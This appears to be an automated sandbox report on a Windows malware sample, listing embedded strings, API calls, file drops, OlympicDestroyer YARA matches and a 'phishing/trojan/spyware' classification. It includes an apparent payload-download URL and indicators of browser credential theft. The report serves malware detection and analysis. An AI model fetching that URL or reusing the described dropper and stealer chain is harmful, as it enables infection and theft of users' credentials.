Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004F8A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2575032660.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2587680613.0000000020260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin
Source: 24010-KAPSON.exe, 24010-KAPSON.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.2360314283.00000000051B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: mozglue.dll.5.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://www.mozilla.com0
Source: powershell.exe, 00000002.00000002.2360314283.00000000051B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBcq
Source: powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf
Source: msiexec.exe, 00000005.00000003.2525082111.0000000005007000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2575032660.0000000004FFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: msiexec.exe, 00000005.00000003.2525082111.0000000005007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: msiexec.exe, 00000005.00000002.2588545524.0000000020EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srfde
Source: msiexec.exe, 00000005.00000002.2588545524.0000000020EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.sr
Source: msiexec.exe, 00000005.00000002.2588545524.0000000020EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: C:\Users\user\Desktop\24010-KAPSON.exe

Code function: 0_2_004056E3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004056E3

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.msiexec.exe.21784491.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 5.2.msiexec.exe.217efbe2.3.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 5.2.msiexec.exe.217624a4.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\24010-KAPSON.exe

Jump to dropped file

Source: C:\Users\user\Desktop\24010-KAPSON.exe

Code function: 0_2_004035D8 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004035D8

Source: C:\Users\user\Desktop\24010-KAPSON.exe	Code function: 0_2_00406C5B	0_2_00406C5B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08F1DE85	2_2_08F1DE85
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49EC34	2_2_0A49EC34
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49A0CC	2_2_0A49A0CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A497AD8	2_2_0A497AD8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4972D0	2_2_0A4972D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49E2D0	2_2_0A49E2D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4986E4	2_2_0A4986E4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49B0F9	2_2_0A49B0F9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4966F8	2_2_0A4966F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49AEF8	2_2_0A49AEF8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4976FB	2_2_0A4976FB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49E0FC	2_2_0A49E0FC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4992F4	2_2_0A4992F4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A496488	2_2_0A496488
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A497A8E	2_2_0A497A8E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49AA80	2_2_0A49AA80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49A299	2_2_0A49A299
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A496096	2_2_0A496096
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A497AAB	2_2_0A497AAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49674A	2_2_0A49674A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49BB44	2_2_0A49BB44
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49B946	2_2_0A49B946
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A496950	2_2_0A496950
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49DF68	2_2_0A49DF68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A497361	2_2_0A497361
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49B164	2_2_0A49B164
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49897C	2_2_0A49897C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49C77F	2_2_0A49C77F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A497B0C	2_2_0A497B0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49FD35	2_2_0A49FD35
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49A5CC	2_2_0A49A5CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49B3D8	2_2_0A49B3D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49BDDC	2_2_0A49BDDC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A496BEA	2_2_0A496BEA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4961EC	2_2_0A4961EC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49BDFB	2_2_0A49BDFB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49CBF0	2_2_0A49CBF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A497FF4	2_2_0A497FF4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A499788	2_2_0A499788
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A497580	2_2_0A497580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A497D84	2_2_0A497D84
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49EB98	2_2_0A49EB98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49999F	2_2_0A49999F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A496B90	2_2_0A496B90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A497BB8	2_2_0A497BB8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49D9BA	2_2_0A49D9BA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4999B0	2_2_0A4999B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A498BB4	2_2_0A498BB4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_04BB09CC	5_2_04BB09CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_04BB0A16	5_2_04BB0A16
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_04BB0A70	5_2_04BB0A70

Source: api-ms-win-core-synch-l1-2-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found

Source: 24010-KAPSON.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 5.2.msiexec.exe.21784491.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 5.2.msiexec.exe.217efbe2.3.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 5.2.msiexec.exe.217624a4.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@11/63@2/2

Source: C:\Users\user\Desktop\24010-KAPSON.exe

0_2_004035D8

Source: C:\Users\user\Desktop\24010-KAPSON.exe

Code function: 0_2_00404983 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404983

Source: C:\Users\user\Desktop\24010-KAPSON.exe

Code function: 0_2_004021A2 CoCreateInstance,

0_2_004021A2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:984:120:WilError_03
Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-7566F0FB-874F81C6-7198C49D
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5680:120:WilError_03

Source: C:\Users\user\Desktop\24010-KAPSON.exe

File created: C:\Users\user\AppData\Local\Temp\nsjA91.tmp

Jump to behavior

Source: 24010-KAPSON.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\24010-KAPSON.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\24010-KAPSON.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: msiexec.exe, 00000005.00000003.2524745156.0000000005008000.00000004.00000020.00020000.00000000.sdmp, 562160962232090538429.tmp.5.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 24010-KAPSON.exe	Virustotal: Detection: 25%
Source: 24010-KAPSON.exe	ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\24010-KAPSON.exe

File read: C:\Users\user\Desktop\24010-KAPSON.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\24010-KAPSON.exe "C:\Users\user\Desktop\24010-KAPSON.exe"
